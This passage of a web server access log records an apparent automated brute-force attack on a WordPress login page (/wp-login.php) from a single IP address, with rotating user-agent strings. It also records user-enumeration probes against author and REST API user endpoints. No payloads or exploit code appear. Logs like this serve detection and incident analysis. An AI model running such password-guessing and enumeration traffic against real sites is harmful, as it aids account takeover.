/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:10 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:11 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=22 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=23 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=24 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /wp-json/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /index.php/wp-json/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET /feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET /rss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET /rss2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET /atom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" 